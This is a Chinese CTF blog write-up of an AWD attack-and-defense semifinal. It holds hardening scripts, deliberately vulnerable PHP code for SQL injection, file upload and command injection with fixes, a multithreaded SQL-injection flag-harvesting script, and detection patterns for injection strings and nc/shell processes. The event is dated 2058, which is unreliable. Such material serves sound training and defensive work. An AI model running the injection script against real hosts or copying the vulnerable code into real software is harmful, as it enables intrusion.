赛事背景

2058年”长城杯”网络数智安全大赛半决赛,AWD(Attack With Defense)模式,5小时攻防对抗。

比赛环境:

  • 参赛队伍:32支
  • 靶机系统:Ubuntu 20.04
  • 服务数量:5个Web应用
  • 加固时间:30分钟

赛前准备

工具清单

1
2
3
4
5
6
7
8
9
10
# 自动化工具
- AoiAWD (防御脚本)
- Vulmap (漏洞扫描)
- SQLMap (SQL注入)
- BurpSuite (流量分析)

# 自研脚本
- 批量提交flag脚本
- WAF规则自动部署
- 日志监控告警

队伍分工

  • 防守组(2人):加固服务、部署WAF、监控日志
  • 进攻组(2人):漏洞挖掘、批量攻击、提交flag
  • 我的角色:防守 + 漏洞分析

防御阶段

快速加固流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
# 1. 备份所有Web目录
cp -r /var/www/html /root/backup_$(date +%s)

# 2. 修改数据库密码
mysql -e "ALTER USER 'root'@'localhost' IDENTIFIED BY 'NewStrongPass123!'"

# 3. 部署简易WAF
iptables -A INPUT -p tcp --dport 80 -m string --string "union select" --algo bm -j DROP
iptables -A INPUT -p tcp --dport 80 -m string --string "../" --algo bm -j DROP

# 4. 关闭危险函数
echo "disable_functions = system,exec,shell_exec,passthru,eval" >> /etc/php/7.4/apache2/php.ini
systemctl restart apache2

发现的漏洞点

1. SQL注入(服务A)

位置: /login.php 第23行

1
2
3
// 漏洞代码
$username = $_POST['username'];
$sql = "SELECT * FROM users WHERE username='$username'";

修复方案:

1
2
3
// 使用预处理语句
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=?");
$stmt->execute([$username]);

2. 文件上传(服务B)

位置: /upload.php

1
2
3
4
// 危险:只检查MIME类型
if($_FILES['file']['type'] == 'image/jpeg') {
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $_FILES['file']['name']);
}

修复:

1
2
3
4
5
6
7
8
9
// 检查真实扩展名
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
if(!in_array($ext, $allowed)) {
die("Invalid file type");
}
// 重命名文件
$newname = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $newname);

3. 命令注入(服务C)

位置: /ping.php

1
2
3
// 极度危险
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);

修复:

1
2
3
4
5
6
// 严格过滤
if(!filter_var($ip, FILTER_VALIDATE_IP)) {
die("Invalid IP");
}
$ip = escapeshellarg($ip);
system("ping -c 4 " . $ip);

进攻阶段

批量扫描脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
import requests
import concurrent.futures

teams = [f"10.0.{i}.2" for i in range(1, 33)]

def exploit_sqli(ip):
try:
payload = "admin' OR '1'='1"
r = requests.post(f"http://{ip}/login.php",
data={'username': payload, 'password': 'x'},
timeout=3)
if "flag{" in r.text:
flag = r.text.split("flag{")[1].split("}")[0]
print(f"[+] {ip}: flag{{{flag}}}")
return f"flag{{{flag}}}"
except:
pass
return None

with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
results = executor.map(exploit_sqli, teams)

flags = [f for f in results if f]
print(f"\n[*] 共获取 {len(flags)} 个flag")

提交Flag自动化

1
2
3
4
5
6
7
8
9
#!/bin/bash
# submit_flags.sh

while read flag; do
curl -X POST http://scoreboard.ctf/submit \
-H "Authorization: Bearer $TOKEN" \
-d "flag=$flag"
sleep 0.5
done < flags.txt

防御监控

实时日志分析

1
2
3
4
5
6
7
8
# 监控Apache访问日志
tail -f /var/log/apache2/access.log | grep -E "(union|select|\.\.\/|<?php)"

# 检测异常连接
watch -n 1 "netstat -ant | grep :80 | wc -l"

# 监控文件变化
inotifywait -m -r /var/www/html -e modify,create

告警脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import os
import time
import requests

WEBHOOK = "https://your-notification-webhook"

while True:
# 检查异常进程
ps_output = os.popen("ps aux | grep -E '(nc|ncat|/bin/sh)'").read()
if len(ps_output.split('\n')) > 3:
requests.post(WEBHOOK, json={"text": "⚠️ 发现异常进程!"})

time.sleep(5)

比赛数据

时间轴

时间 事件 排名变化
14:00 比赛开始 -
14:30 完成基础加固 15 → 8
15:00 发现服务A SQL注入 8 → 5
16:00 被攻击导致失分 5 → 12
16:30 修复漏洞,开始反击 12 → 6
18:00 比赛结束 第6名

得分统计

  • 防御分:850分
  • 攻击分:1200分
  • 总分:2050分

经验总结

做得好的地方

快速加固 - 30分钟内完成所有服务基础防护
自动化攻击 - Python脚本批量获取flag
团队协作 - 分工明确,沟通高效

需要改进

日志监控不足 - 未能及时发现被攻击
WAF规则太简单 - 容易被绕过
应急响应慢 - 发现被攻击后10分钟才修复

技术收获

  1. AWD防御思路:先备份 → 改密码 → 关危险函数 → 打补丁
  2. 批量攻击技巧:多线程 + 超时控制 + 异常处理
  3. 流量分析能力:通过日志快速定位攻击来源

工具分享

比赛中使用的脚本已开源:
🔗 GitHub: AWD-Scripts

内容包括:

  • 自动加固脚本
  • 批量扫描工具
  • Flag提交脚本
  • 日志监控告警

下一步计划

  • 研究更高级的WAF绕过技术
  • 学习容器逃逸相关知识
  • 准备决赛,冲击前三!

参赛感悟:
AWD不仅是技术的较量,更是团队配合和应急响应能力的考验。感谢队友的信任和支持,继续加油!💪

文章首发于个人博客,转载请注明出处。